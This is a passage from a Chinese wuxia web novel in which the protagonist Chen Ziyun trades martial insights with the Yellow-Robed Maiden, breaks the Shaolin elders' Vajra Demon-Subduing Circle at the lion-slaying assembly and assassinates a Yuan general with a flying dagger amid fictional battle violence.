而难得能与自己相当的高手交流,还是如此细致的拆解,可能比在武当山上听张三丰讲道还要有收获。 毕竟张老道的境界,他还是离的远了,有些东西不到一定的积累是不可能真的明白的。 也许你自己以为听明白的,可能只是对方要表达的皮毛。 而黄衫女此时的情况,好像就是一具刚好合适他理解的活体。把这天下的武学当成一具尸体,如今脉络、血液以及心脏、肌肉等等要义都直接裸露在了他们面前。 现在他们要做的就是顺着这些还有些凌乱的脉络,找寻这世间武学的真谛。 这一场交流,从一开始的各抒胸臆,发展到激烈的争辩,接着又相互的谅解。如此循环往复,他们两个沉浸在这武学的天地里不可自拔,而旁边也在听的迷迷糊糊的几个侍女却已经用担心忐忑的目光盯着他们了。 在那几位侍女看来,自己家小姐好像是魔怔了一般。向来端庄的小姐,怎么会像一个她们曾经在街上见过的骂街泼妇一般,扯着脖子红着脸,跟一个男人肆无忌惮的争论。 这在她们看来简直是不可想象的事情。 好几次,那位负责照顾黄衫女的侍女,小心翼翼的提醒了黄衫女几次,让自己小姐要注意形象,甚至害担心的摸摸她的额头,怀疑是不是烧坏了脑子。 可这样的提醒不但没有减少黄衫女的出格行为,甚至像是火上浇油般的,彻底点燃了她的激情。 在与陈子云的争论中,连自身的疲乏都忘记了。 而由于那几天过多的耗费精神,本来已经身体不适的黄衫女也终于在这样的消耗之后病倒了,发烧,浑身寒冷、打颤。 就算是八位侍女轮番昼夜不停的照顾都不见好转,她们又不敢在这个时候给黄衫女输送内力。因为对方现在身体里的内力就是一个混乱的燃烧着的火炉,但凡有一点不稳就会直接炸开。 那个嘟嘴的侍女直接带着泪,狠狠的拍打了几下陈子云坐下的醉马。嘴里念叨着:“都是你,都是你,就是你害了我们小姐,坏大叔,坏蛋,呜呜呜。” 陈子云差点也想给自己一巴掌,他竟然因为跟黄衫女讨论的入迷,而忘了对方还是个病号。 为了赎罪,陈子云直接发动了借刀盟的力量,让他们把一些珍贵的药材或者说是能增强免疫力提升精神补药给找了来。 什么百年人参,何首乌,当归...... 带来的还有几个在自己庄子里养着的名医,这些人多少都懂一些功夫,又有丰富的行医经验,同时还接受过陈子云无聊的时候编的一些关于现代医学的知识。 可以负责任的说,他们除了没有胡青牛那种天才医生的能力,一般的这个时代的医生是完全比不了的。 至于为什么不请胡青牛,那是因为第一示范村离太远了,胡医仙的本事再大,可原水解不了近火啊。 好在经过这几位名医的治疗,黄衫女逐渐好转,而在那些难得的宝药作用下,精神似乎比以往还旺盛了几分。 那个嘟嘴小侍女哭哭啼啼的笑着,抱着自己的小姐不肯撒手。 “白前辈,这一场病似乎让我找到了一条门路。” “什么?” 陈子云听着这话以为是自己听错了。 “难道是你们古墓派的哪位先祖给你托梦了?” 陈子云笑着问道。 “......虽然不是托梦,却也是拖了先祖的福。” 黄衫女也看出了陈子云的调笑,反唇一击。 “.......” 这下轮到陈子云无语凝噎了。 “呵呵呵......” 黄衫女掩嘴轻笑。 “咳咳咳。” 陈子云迥然的假意咳嗽了几声。 “前辈还记不记得,先祖杨过的黯然销魂掌是因为与先祖婆婆分离,情思不断而创。” 黄衫女道。 “嗯,这又如何?” 陈子云疑惑,他们先前关于黯然销魂掌已经有过一次讨论。 “当时我因没有体会过这般的情愫,所以无法修炼这绝世掌法。而如今我体内因为两种冲突的武学理念而导致走火。 如今我想来这两种情况其实有相似之处,都是因为自身对这几种人间至理无法理解。 就像是一个刚开蒙的幼童,深奥的经典放在他面前,也许能认识上面的字,却体会不了文章的具体意思。” 黄衫女缓缓而道。 “不错,可这些道理不是你想理解就能一下子理解的,你又要如何做?” 陈子云也明白了她的意思,说白了就是他们现在对于武学见识,达不到融汇贯通那几本绝学的程度,而黄衫女的强行修习就导致了如今的后果。 “我想重修全真教的基础武学,我隐隐觉得以我现在的修为,只要我把自己的全力集中在一定的范围,壮大我的神思之力,突破那一层知见障是有机会的。而全真教的基础武学是我能找到的最好的道家养神修炼法门,道家的功夫虽然慢,但不会出什么差漏。” 黄沙女道。 “神思......” 陈子云却是被她说的这个词给吸引了。 下意识的将相思小刀拿了出来,手指轻轻的划过它如水晶般的刀身。 “其实我还会一种刀法,只是这刀法并不合适用来比斗。” 陈子云喃喃自语般的道。 “什么刀法?” 黄衫女问道。 “你看看这把刀。” 陈子云将相思小刀递到黄衫女的面前。 “就是这把刀打败我的,真是漂亮啊。” 黄衫女伸手轻轻触碰了一下相思小刀的刀锋。 “嗡......” 一阵如蜂鸣般的轻吟,似乎是相思小刀在抗拒她的触碰。 “这是?” 黄衫女吃惊的问道。 “这就是我的另一种刀法,能赋予这把刀生命,或者就是你说的能运用神思的刀法。此刀一出,例不虚发。” 陈子云运起小李飞刀的要诀,将自身的精气神贯注于相思小刀之上,让它宛如活了过来。 第一百一十六章 飞刀 “怎么可能,这世间怎么会有这样的神物,这般神奇的刀法!” 黄杉女连连摇头,这已经超出了她对于武学的理解,这简直就是神乎其技。 同时她也意识到,如果自己能将神思扩展到这种程度,那自己身上的所有冲突,便能随着这一刀飞出。 黄衫女的眼睛里放出惊喜的光,灼灼的盯着陈子云,注视着他脸上最细微的表情,一瞬都不敢移开。 陈子云摸摸自己的鼻子,有些尴尬的道:“其实我对于这种飞刀,也只是会,但算不得精通。” 没办法,小李飞刀同样是天授的,可对于这种超乎寻常的例无虚发的飞刀。陈子云能照葫芦画瓢,可要是让他说明白其中的关窍,实在是有些只可意会不可言传。 “我施展一次给你看看吧,也许以你的资质,应该能看出几分来。” 这是陈子云唯一能想到的办法了。 “好。” 黄衫女点头答应道。 陈子云等了一会儿,见对方任然在马车中没有动弹于是奇怪的问道:“你不下车?” “需要我下车吗,我在车上看也一样。” 黄衫女道。 “.......” 陈子云漠然,他此时也明白对方是错误理解了他的意思。 “这世界上不会有不直面小李飞刀而能看懂它玄奥的人。” 陈子云这句话有些冷漠,像是在给黄衫女的不尊重,而为小李飞刀出气。 黄衫女一愣,随即脸上露出愧疚的神色。 “白前辈,对不起,我这就下来。” “不行,小姐,你现在根本抵挡不了这样的飞刀。坏大叔,你怎么可以让小姐现在动手呢。” 那嘟嘴侍女尖叫般的吼叫着。 “我相信白前辈。” 黄衫女没有理会小侍女的阻拦,毅然的下了马车,走到陈子云的前面不远处站好。 “来吧,前辈,让我见识一下,那例无虚发的神奇一刀。” 陈子云也没有废话,直接持刀在手,相思小刀收于脸侧,所有精气神集中在手中的小刀之上,而眼睛却从未离开过黄衫女。 此时的黄衫女感觉犹如被世间最恐怖的事物盯着,不管自己如何闪躲,感觉告诉她,就算是躲进自己古墓的最深处也无法躲开陈子云手中的那把小刀。 紧接着一把绯红色的细芒闪过,黄衫女甚至都没来得急眨眼,耳边的一丝秀发就缓缓从他的脸颊上飘落。 “呼......” 陈子云长长的呼出了一口气,小李飞刀到现在对他来讲也是消耗巨大。 “真美,可又好可怜的一刀。” 黄衫女孩怔怔的站在那里,一动不动,像是被这一刀吓傻了一般。 “可怜?” 这下轮到陈子云疑惑了。 “是啊。” 黄衫女仔细的盯着陈子云的脸看了一会儿,接着道:“前辈,还恕晚辈无礼,刚才这一刀好似不像是前辈发的。” 陈子云身体一僵。 “你倒是好本事。” 不过陈子云没有解释,因为自己的那种天授的小李飞刀也根本没法解释清楚。 “怎么样,能不能看出什么名堂?” “有所得,但是要真的借鉴,还是太难了。” 黄衫女皱着眉头道。 “没关系,那就多看几次,既然有所得,那就慢慢来。” “好,那请前辈再发刀吧。” “......” 陈子云连忙解释。 “像刚才的那一刀,我一天最多给你施展一次。” “?” 黄衫女先是疑惑,随即是了然的表情,似乎更加的确定了自己的猜测,露出一副理所应当的样子。 陈子云不由得暗暗打定主意,一定要尽快真正的掌握小李飞刀的精髓,要不然真有些对不起李探花了。 例无虚发,例无虚发,例无...... 陈子云在削断了黄衫女的第七缕头发之后,终于被她主动的叫停了。那幽怨的眼神,陈子云明白自己要是再列无虚发下去,这位古墓传人就要跟她拼命了。 “这小李飞刀的大概,晚辈已经了解了。” 黄衫女冷冷的说着,好像随着她对自身神思的掌握,那种古墓派特有的清冷气质又回来了。 “如此就好,那我们就在此处分别吧。” 陈子云也看出了,那八个侍女眼中的埋怨,这世间哪个女孩子会愿意自己的秀发被这么糟蹋的。 可陈子云也没办法啊,以他半吊子的小李飞刀,如果不以黄衫女自身的物品为目标根本无法施展出那种给她压力的一刀。 又如何能真的让黄衫女在这样的压迫中了解其中的奥秘。 陈子云不是没有尝试过,结果跟他想的一般,那一刀朝着黄衫女背后的大树发出。 可那一刀虽然直接洞穿了那一棵三人合抱的大树,可看黄衫女的表情就知道,对方并没有在刚才那一刀中得到启示。 小李飞刀对于锁定的目标有着强大的精神压制,可要是其他人看在眼里,这一刀却跟普通的飞刀没什么区别,无非就是快了一些。 女人啊在男人眼中总是善变,因为她们的情绪反应与男人大大的不同,你觉得本来就是小事,在她看来可能十分重要。 因此古时候的男人发明了一个最简单的蠢办法,那就是不理会她们。 陈子云向来都不是一个了解女人的男人,所以不管是对黄衫女突然变得冷淡,还是那个嘟嘴侍女变的嗔怪。 他很自然的就选用了一样的办法,那就是不理会,或者说是直接逃跑。 惹不起,惹不起啊。 陈子云摸摸自己的那头醉马的脖子,这家伙就习惯成自然的将脑袋伸到了马鞍旁。 陈子云将酒袋子口递到他的嘴边,嘻嘻略略的喝了几大口,满足的打了一个响鼻。 “还是你好啊,只要给酒喝就听话,女人呢。” 陈子云拍拍马屁股,再次开始了他的信马由缰。 可这次他没有逍遥多久,就听得江湖上传来了,什么端午节“屠狮英雄会”的消息。 本来这热闹陈子云是没打算参和的,可当他听见什么“红霓仙子周芷若”已经上了少林。 这就让陈子云不去看看也不行了,这次黄衫女肯定是没工夫管少林这档子事情了,要是周芷若这小丫头不小心撞在成昆手里,那可就不妙了。 而且以少林寺那三个老不死的功夫,凭借现在的周芷若可不是对手。 第一百一十七章 屠狮大会 哎,陈子云不由得感叹,自己真当是劳落命啊。刚应付完一个情绪不定的女人,又要赶着去救另一个。 何苦来哉。 “驾!” 陈子云心里万般的无奈,可手下却是老实的执行,直接牵着缰绳,调转马头,往少林而去。 少室山的风景是陈子云在笑傲世界的时候就浏览过的,只是如今不知是要说是时隔十几年,还是要说时隔几百年了。 可这山川的秀丽之色却没有多大的变化,这天下第一宝刹也是风采依旧。 只是里面传来的阵阵喧嚣,让着佛门清净地也惹了是非。 陈子云循着这吵闹而去,在寺北百丈之外的一个小山峰上,只见人头攒动,少说也有百来号人在场。 而山峰中间,三颗老松之下,一袭白衣跟一件红删正在几条鞭影之间穿插来回。 原来此时正是周芷若与张无忌联手在闯少林三渡的金刚伏魔圈。 周芷若手中白蟒鞭法如影如幻,舞蹈一般的身姿在金刚伏魔圈中飘忽不定;张无忌则是凭借这乾坤大挪移的借力卸力,用自己的九阳内力硬撼少林三渡。 还算这小子识相,没有让周芷若去承受这份压力。 周芷若虽然修习了九阴真经,可内功的深厚程度肯定是不能跟张无忌相比的,她的优势在于迅捷诡异的身法,和犀利的鞭法攻击。 陈子云看着张无忌与周芷若之间配合娴熟,看来已经不是第一次共同对敌了。 可惜,要是换做是别的人还好。可他们面对的却是一起坐了三十余年的枯禅的渡厄、渡劫、渡难三僧。 这三个老和尚最大的功夫便是用在“心意相通”之上,一人动念,其余二人立即意会,此般心灵感应说来甚是玄妙。 所以现在如果不是张周两人都有自己的绝学,恐怕早就陷入这金刚伏魔圈的泥沼而不能自拔了。 可内力相对较弱的周芷若明显先露出了颓势,本来白蟒鞭还能与那黑索相抗衡,如今却只能用巧劲,沾之即退。 要不是张无忌主动承担下了两条黑索的压力,周芷若怕是早就败下阵来了。 这让在旁边看戏的陈子云不由得皱眉头,一方面自然是不满少林寺这三个老不死的欺负自己的人,另一方面则是对周芷若这般死板的应对的不满。 “笨丫头,难道你就会这一套白蟒鞭法了吗?既然功力不如人家,那就避实击虚,你这些日子在外面是不是把我教你的都忘光了。” 陈子云终究还是舍不得自己的小徒弟吃亏,开口提醒道。 “公子!” 周芷若一声欢喜的惊叫,竟然直接舍弃了张无忌,一个人从金刚伏魔圈里溜出来了。 “你个笨丫头,你这一出来,张小子不是输定了。” 陈子云点着周芷若的额头说道。 周芷若也是因为太久没见陈子云才表现的有些莽撞,如今看着张无忌独自面对金刚伏魔圈左支右拙,狼狈不堪,不由得吐吐自己粉红的舌头。 “公子,那我再去帮忙吧。” 周芷若有些尴尬的道。 “算了吧,没看到有人的眼里已经冒火了,这个时候你再进去,恐怕武当派今天就要手足相残了。” 陈子云用眼角示意了一下正朝着他们而来的武当众人,宋青书也在其中。 而他的眼睛里盯着周芷若的目光,就像是要把她整个人都化了。 正当陈子云与周芷若说话间,却听得谢逊的声音响亮传来。 只听他苍老的声音缓缓诵念“金刚经”:“尔时须菩提闻说是经,深解义趣,涕泪悲泣,而白佛言:‘希有世尊,佛说如是甚深经典。我从昔来所得慧眼,未曾得闻如是之经。世尊,若复有人得闻是经,信心清净,即生实相……’” 原来谢逊这数月来被囚地牢,日夕听松间三僧念诵“金刚经”,于经义颇有所悟,这时猛听得张无忌笑声诡怪,似是心魔大盛,渐入危境,当即念起“金刚经”来,盼他脱却心中魔头的牵绊。 陈子云见张无忌此时虽然招法犀利,可顾盼之间已经是狂躁色虐之形已显,自是猜到对方已到了走火入魔之境,这跟他见黄衫女入魔更是一般模样。 “张小子,还不住手,想经脉尽断而死吗!” 陈子云声如洪钟。 他本来的意思是想让张无忌幡然醒悟,却没想到反而盖过了谢逊的金刚经,让张无忌更是不堪。 嘿,这小子,真当是执念深了。 陈子云暗骂一声,随即运气丹田一声“吒”,声如惊雷,群雄犹如听得四五面大罗同时在耳边敲响。 他这一声呵斥,好比天地之间的正气相合,将本来正神思迷惘,正要遁入魔道的张无忌立刻回神。 可他这一声呵斥,本来就是我了救人的,没有伤人的意思,群雄之所以受震,也是自己的修为不到家。 可这却不包括少林寺的三渡,此刻三人只是微微一顿,手中的三条黑索还是朝着张无忌罩了过去。 而此时的张无忌正被陈子云的那一声“吒”震慑了心神,如何能抵挡的了,眼见的就要死于这金刚伏魔圈之下。 “好秃驴。” 陈子云自然不会眼看着,当即连连弹指,身形同时一闪挡在张无忌身前。 “惊蛰” “夏至” “霜降” “冬至” 陈子云一瞬间就将在指法之间过了一个四季,三指与三渡的黑索抵消,最后一指“冬至”,却不是朝着三人而发,但也将三人统统都罩在这寒霜之下。 “阿弥陀佛,施主指法当属第一,老衲佩服。却不知为何要救这谢逊?” 渡厄朝着陈子云开口道。 陈子云摇摇头道:“老和尚却是错了,我与谢逊素不相识,而且这人可以说是恶贯满盈,死了便死了,我绝不会多看一眼。” “白叔叔,还请救我义父一命,我义父过去种种实在是被成昆那奸贼所害,并非是他本意。” 张无忌此时已经从入魔中醒来,见陈子云如此说,当即跪下求情。 陈子云并不看他,反而朗声道:“谢逊,当时当日,杀人泄愤之时,你可是真的毫无理智。是否这一切的恩怨,都要加在你师傅成昆身上?” 第一百一十八章 会三渡 先是一阵沉默,随即谢逊苍老的声音传来:“昔日成昆杀我全家,可死在我谢逊手中的无辜之人又何止百十,谢逊大错已成,不敢狡辩。无忌孩儿,你且去吧,你现在是我明教教主,切记造福天下为己任。” “义父.......” 张无忌自然不依。 “无忌孩儿,我一生罪孽深重,在此处听经忏悔,正是心安理得。你何必救我出去?走吧,走吧。” 谢逊说完便不再开口了。 “三个老和尚,你们少林寺要怎么对付谢逊,我管不着。但是你们三个加起来几百岁的人,欺负我的弟子,我这个做师傅的可不能就这么看着。” 陈子云一个人站在三颗老松之间,朝着三渡瞥了一眼。 “施主能交出周女侠这般的徒弟,自然是让我等钦佩的。不过既然我三人受本寺方丈所托,要守着这谢逊,自然不会留手。 要是施主有何见教,只要胜了我三师兄弟手中的黑索,自然随你处置。” 渡厄虽然惊诧于陈子云的指法,可他们三人又何曾怕过这天下。 “嘿,好个老和尚。那就接我几指。” 陈子云也不废话,一出手就是“三指弹天”中的“破煞”。 群雄几乎都听到了旱地生雷一般,只见陈子云只见似有雷光闪烁,一指便点在三条黑索的交叉点上。 陈子云自然知道二十四节气惊神指很难奈何的了这几个心意相通的老和尚,他们要是一人还好,这三人加在一起,已经不是一般的一加一的威力。 三个老和尚虽然不能将近百年的功力累加在一起,可这三条黑索的曲折如意,也绝非一般人可以硬抗的。 所以即使是三大绝招中的“破煞”一指,也只是于三人的黑索旗鼓相当。 “好,看我一指‘惊梦’。” 陈子云再次点出一道如梦如幻的指劲,这次他没有与三人的黑索硬抗,而是攻向了作为金刚伏魔圈主导的渡厄。 只见渡厄收缩自己的黑索回防,而另外两条黑索却是朝着陈子云而来。 可当“惊梦”的指劲透过渡厄的黑索朝着他的额头而去的时候,另外两条黑索就像是受惊吓的黑蛇,瞬间调转了蛇头,想去追拿到即将点到渡厄的指劲。 可惜它们就算是真的灵蛇,也绝不可能比陈子云的这道指劲更快。 渡厄眼见自己的黑索挡不住,狼狈的从松树外一扑,紧紧附在地上,拿到虚影一般的指劲直接打在了这老松之上。 陈子云没有追击,而是看着那颗被指劲打中的老松道了一句:“可惜了。” 随着他一声轻叹,那松树好像是得了动物才会得的软骨病似的,竟然弯弯曲曲的软了下来,就像是一根被抽调了脊椎的蛇尾巴一般,成了深褐色的一滩。 “这.....” 不只是逃过一劫的渡厄惊骇,就是旁边看着的群雄谁不胆寒,这样的功夫他们哪里有见识过的。 原来这一指惊梦,乃是陈子云根据与黄衫女交流武学之后,融合了摧心掌、九阴爪之类的功夫改造出来的。 专门针对人体内里,但凡是中了这一指的,表面可能完好无损,可里面的血肉却被消耗成了一滩烂泥。 如今这老松就是被陈子云的一指给腐坏殆尽了,便只剩下这一张树皮。 “这也,太凶恶了,这是什么功夫,简直比魔教还魔教。” 群雄之间自然有些所谓的正义之士给陈子云安排了罪名。 “哼,无知之辈,刀枪剑戟,那个不是为了杀人。我家公子同样只是用指法杀人,又有什么恶毒。况且,公子现在杀的只是一颗老树而已。” 周芷若反驳道。 “不错,芷若说的有理。太师傅也说过,天下武功千奇百怪,功夫从来没有好话只说,只是看用的人。” 宋青书自然在一边帮着说话。 而明教众人看着陈子云这般,却是眼神变化,各有所思。 “还来吗?” 陈子云没有理会众人的言论,而是对着三渡问道。 三渡相互看了一眼,渡厄站起身来,对着陈子云行了一礼。 “施主功夫老僧自然不如,可今天却是指责所在,盼施主能同时击败我师兄弟三人。” “老和尚,你们少林寺真当是这般不要脸吗,公子已经手下留情了。” 周芷若还待再说,却被陈子云抬手阻止了。 “好,那就再来。” 陈子云见这个老和尚如此顽固,那他自然也不用留手,况且得了功夫不用,也对不起老天的厚待。 三个老和尚此时也不再托大,纷纷从自己的老松里面出来,对着陈子云就舞动了黑索。 三条黑索化身为三条黑色的巨蟒,朝着陈子云吞噬而来。陈子云依旧出指,可这次却不是跟以往一般的的弹指,而更像是剑指。 只见他,左手背在身后,右手食指与中指朝着天上一指。 没错,陈子云这一指竟然是指天,而非指向少林三渡的任何一人。 “啊呀,此人是不是也魔怔了,怎以指指天?” “嘿,这就是练魔功的代价,就跟张无忌这个魔头一样,走火入魔了。” “公子。” 群雄见陈子云做出如此有违常理的动作议论纷纷,连周芷若都被说的有了几分担忧,一双明眸不安的看着陈子云。 可陈子云却是嘴角微微一翘,紧接着就是少林三渡的三声惊叫,随即三条已经与他们三人浑然一体的黑索,突然脱离了他们控制。 就像是三条突然被放开了绳索的黑狗,直接串出了主人的手掌控制,朝着田野乱串而去。 “怎么回事,这......” “三位大师怎么自己把兵器给丢了?” 别说功夫一般的江湖人,就是武当众人,少林高手,明教群雄也看不出到底是发生了什么。 “你,你这是?” 渡厄莫名的看着自己的手,看着一指指天,恍然间犹如释迦摩尼指天画地,唯我独尊的陈子云,不由得嘴里结舌。 “知之为知之不知为不知,老和尚既然不知,又何必知道。” 陈子云说完便转过身,轻轻按压自己的胸口,刚才强行施展这刚得来的武功,却还是有些伤了自身。 第一百一十九章 少林危机 “白大侠,既然你胜了少林的三位高僧,那这谢逊你打算如何处置,这人穷凶极恶,还是杀了干净。” “不错,杀谢逊。” “杀谢逊。” “屠狮......屠狮......” 也不知道是谁带的头,看热闹不怕事大的群雄又开始起哄。 陈子云自然没工夫理会他们。 “白叔叔,还请你手下留情,我义父年事已高,双目更是瞎了二十多年,这些年他孤苦伶仃在冰火岛上,也不知道是如何度过的。 无忌身为人子,愿意提义父承担下所有罪过,单凭白叔叔处置。” 张无忌声泪俱下的跪倒在陈子云的面前苦苦哀求。 就是连一边看着的周芷若也是露出不忍之色,她对这个同年的出色男子自然有几分高看的,虽然对方的性格有些缺陷,但也算得上是个重情重义的。 “公子.....” “好了。” 陈子云深吸一口气,暂时压下了胸口的疼痛。 “无忌小子,也不知道你的性格是随谁的。殷素素在江湖上向来都是只有人怕她,没有她怕人的。 张五侠虽然文采斐然,但也终究是个磊落的汉子。 而你这委委屈屈,小媳妇一般的性格到底是哪里学来的。 如今你怎么说也是一教之主,手底下的高手更是数不胜数。而且这天下义军,十个里面八个是你们明教出生的。 说句远一些的话,就是等将来你坐上那九五之位也不是不可能,可你却为了这所谓少林寺举办的一个屠狮大会而乱了方寸。 怎么,以你明教现在的人力,难道还不能让这和尚庙乖乖交人。 非要用江湖手段解决,人家怎么说,你就真的怎么做。 但凡你的性格能有你妈妈三分狠厉,让你明教坐下烈火旗将炸药把少室山给围住。 你看看这些所谓的江湖门派,敢不敢这样跟你说话。 泰山北斗,嘿......” 陈子云说完也不再理会众人的惊愕,直接自顾自的朝着武当众人勾勾手,示意他们跟自己走。 武当众人本来就是敷衍一般的来的,要不是宋青书吵着要来找周芷若,武当全体更乐意在山上试验陈子云让人送来新种子。 与其跟这些心怀鬼胎的江湖人尔虞我诈,还不如珍惜时间,多做两件于天下百姓有利的事情。 随着陈子云带队走人,留下的江湖中人先是是你看看我,我看看你,不知如何是好。 “少林寺的大师,这人都走了,那这屠狮大会还办不办啊,这谢逊可是与我们有深仇大恨的。” “是啊,既然那人走了,那这谢逊就赶紧杀了吧。” “你们敢。” 明教众人直接狠狠的看向说话的几个。 他们也是被陈子云的话给刺激到了,心下盘算也是,自己堂堂明教,要是武当的人不参合,一个少林,加上这些土鸡瓦狗,够不够他们带来的五行旗杀的。 那为什么要摆出一副受欺负的姿态,张无忌,张教主的却是年轻了一些。 张无忌此时也乘此机会,直接跳下洞穴将谢逊从下面硬是抱了出来。 可也是他这么不讲规矩的做法彻底激怒了在场的真的跟谢逊有血海深仇的那些人,不管明教众人怎么阻拦,提着刀就往人群里冲。 少林寺中一片混乱,而陈子云却已经带着人下了山,却没有直接下少室山,反而是往反方向,朝着另一面的群山中而去。 原来是他在打败了少林三渡,才想起,后面会有元廷的兵包围少室山的一出,所以这个时候下山是万万不行的。 陈子云带着一众反向而行,众人虽然疑惑,但秉着对他的信任与敬重都没开口询问。 而等到身后少室山上传来兵戈之声,众人才纷纷侧目。 “白大侠知道会有这般事情?” 俞莲舟问道。 “要是我早知道,就不会只是一个人来了。” 陈子云道。 众人点头称是。 “可无忌还在里面,这元兵势大,我们怎么能独自逃生?” 殷梨亭神情激动的说道。 “殷六侠不必着急,我不是望风而逃,只是看你们这些武当弟子,不要当了这无畏的牺牲品。 既然两位想回去救人,白某自然奉陪。” 陈子云道。 “公子,我也去。” “芷若去,我也去。” 周芷若刚说完,宋青书就接着。 “你们的功夫虽然不差,但是根基终究浅薄了一些,跟这些数量众多的元兵交手,耐力跟功力才是关键。 你们两个回去,还要耽误我们救人的心思,岂不是帮倒忙。” 陈子云毫不客气的拒绝了两人。 “不错,青书,芷若姑娘,你们就带着这些弟子先往深山里躲。白大侠自然不必说,以我跟六弟修为,这些元兵想留下我们也是不能的。” 俞莲舟道。 宋青书犹豫的看着周芷若,对方在陈子云坚决的眼神中收起了小孩子撒娇的脾气。 “公子,还有两位武当前辈,万万小心,如果有难,还请发信号给我们,就算是死......” “是什么呢。” 陈子云直接一抬手,制止了周芷若的丧气话。 “在江湖上这段时间的历练,怎么反而让你没了心气,你家公子就是这么容易遇难的。” “是,芷若说错话了。” 其实周芷若哪里是胆小,实在是关心则乱,要不是事关陈子云,她这位被江湖上尊为“红霓仙子”的江湖新秀,可不是靠美色出名的。 那一套白蟒鞭法下来,就是江湖上那些最强硬的汉子也绝不敢小觑了她,更是有哪些被周芷若教训过的江湖汉子,在暗地里称她为“血衣魔女”。 当可知她出手的狠辣,一旦碰到那些该杀之人绝不至于手软,也更谈不上胆怯。 陈子云带着武当的老二跟老六,朝着少室山而回。 他们当然不会傻傻的去少林跟张无忌汇合,这不是把自己送进陷阱里吗。他们直接绕道了元军的后面,伺机寻找对方的统兵之人。 放眼远望,一队队蒙古兵蜿蜒而来,军容甚盛。其时距成吉思汗与拔都威震异域之时已远,但蒙古铁骑毕竟习练有素,仍是举世无匹的精兵。 “白大侠,这里少说元兵已经上万,靠我们三个,怕是。” 俞莲舟看着望不到头的元兵军阵有些为难的说道。 第一百二十章 战阵杀将 “我难道就是那种自寻死路的人吗,我们先看看,要是有机会行刺自然是最好。如若不然也不能勉强,到时候就是行刺不成,白白送了小命,这样亏本的买卖,我可不做。” 陈子云当然不会死板的往军阵里冲。 “二哥,白大侠,你们看,那个元兵旗帜所在的地方,想来就是将领所在。” 殷梨亭在一边提醒道。 陈子云朝着他指点的方向看了过去,只见那最大的那面旗帜下,一个身形魁梧的披甲将军,正在指挥着众军士进攻。 想来就是这位了,陈子云估计了一下对方与自己的距离,少说也在两里,中间隔着几百军士,自己要神不知鬼不觉的摸过去怕是不可能的。 “不好山上起火了。” 俞莲舟惊呼一声。 陈子云望去,果然,山头数百间寺院到处有熊熊大火冒上。 “二哥,我们赶紧去救人啊,无忌他们可都在山上。” 殷梨亭焦急的道。 “不对,这是诱敌之计。” 陈子云道。 “明教此次带的人本来就不少,五行旗更是军阵中的高手,要是能跟山上的群雄配合,说不定就能与这元军一战。” 果然,看着山下的元军刚上去就迷失在了燃烧后的烟雾里,随即就看到烈火、毒水、毒砂将这些元兵杀的四散奔逃。 俞莲舟跟殷梨亭正要给山上的群雄赞颂,就听得元兵擂鼓声急,五个千人队人众竖起巨大盾牌,列成横队,如一道铁墙般缓缓推前。 “哎呀,这下遭了。” 殷梨亭虽然不懂兵,但也看得出,这样的军阵不是什么巧记能挫败的,顿时脸上又是焦急。 “六弟莫急,你看,有明教的元兵来了。” 俞莲舟往山下一指,只见一面“徐”字大旗与一面“常”字大旗,正趁势而来。山上的众人也随即冲下山来,将元兵两面夹击。 “两位,乘此机会,我们在乱军中将那将领给宰了去。” 陈子云说完也不等他们,朝着那元军败逃的西边就冲了下去。 俞莲舟与殷梨亭也连忙跟上,可面对马力全开的陈子云,武当梯云纵再厉害,却依旧只能眼看着对方背影消失在乱军之中。 苏梦枕的瞬息千里也好,白愁飞的轻身功夫也罢,再加上小李探花的身法,这世间再也没有哪家的脚力能追得上陈子云了。 随手的一指,将一个元廷的将官点倒,夺身上马。在旁边的骑兵没有反应过来之前,一把飞刀已经插在了他的咽喉。 陈子云一拍马背,直接纵马狂奔,对那些也不知道是不是无意间伸过来的长矛、弯刀都是一挥而过。 锋利无比的相思小刀就像是切豆腐一般,将这些兵刃一刀两断。 初始,还有些血勇之气的元廷兵马,还不要命的往陈子云这边冲锋,可随即在他手下倒下数不清的兵士之后,终于开始不在顾及的逃跑了。 没有了这些元兵的阻拦,陈子云一按马头,朝着那元廷旗帜的方向猛追而去。 山路不必平原,在这里骑行终究是受了太多的限制,也是因为如此陈子云才能骑马追上。 这当然是他用轻身的诀窍在配合着马匹的原因,要不然以这匹普通的蒙古马怎么能与那将军的名马相比。 “站住。” 陈子云一声爆喝,前面的将军有些错愕的回头,看陈子云奋勇而来的样子,脸上透露出几分惊慌。 有些人可能不知道为什么在追逐的时候,总是有人喜欢在后面呼喊,这不是明摆着提醒逃跑的人吗。 其实这样也是一种策略,在心里上给对方造成压力,使对方在慌乱中出错,或者直接被吓破胆子投降。 而面前的统军将领虽然不会入那些窃贼那般的不堪,可见到陈子云一手执马缰,一手夹着一把血红的小刀。 手里的缰绳还是下意识的收紧了一些,这让本来就在山路上艰难奔跑的马匹直接就打了个踉跄。 好在这马确实不错,没有直接摔倒,但这一耽误,陈子云已经趁机追上来了。 “将军快走。” 几个护着将军的亲卫朝着陈子云迎上来。本来能率领两万人的将军,亲卫肯定不止眼前的这几个,应该是被乱军冲散了。 不过在陈子云的眼中,不管是眼前的这十来号人,还是百十个。只要不是那种武装起来的铁罐头,都是一样的结果。 相思小刀如一条红色的鲤鱼,在这些个为了自己将军准备英勇现身的亲卫身边欢快的畅游了一圈。 陈子云从这些依然没了性命,却依旧抓着缰绳往前冲锋的亲卫中间穿了过去。 当相思刀带着一阵舒爽的轻吟回到陈子云的手中,他又是一掷,红芒再次朝着将军的背影而去。 那将军似乎感觉到了背后的杀机,自然的伏低身体,让自己的脑袋躲在马的脖颈边,身体紧紧的贴着马鞍,企图能躲过这一刀。 陈子云因为是刚刚杀了那些个亲卫,在调动小李飞刀神奇的同时,消耗了不好神思。 这一刀有些力不从心,贴着将军的左耳飞了出去,带起一片血光与将军短咧的尖叫。 一只黑不溜秋的耳朵掉落,但那将军却是没有停留丝毫,连刚才的姿势都没有变动,死死的抱着马脖子就往远处跑。 陈子云却是没有再追了,他勒住了缰绳,微微的闭着眼,像是在恢复刚才那连续的两刀对自己造成的消耗。 将军似乎感应到了什么,后面那个凶恶的江湖人似乎没有再追。他疑惑也庆幸着,终于顺着心里的好奇,微微侧了侧紧紧贴在马脖子上的脑袋。 往陈子云在的方向略微的瞥了一眼,随即他的脑袋炸开了。 就像是个熟过头的西瓜,被砸在猪圈里喂猪的时候一样,四分五裂,红的白的汁液四溅。 但他的身体因为整个的趴在马背上,所以此时还被那匹名贵的马儿带着往前走。 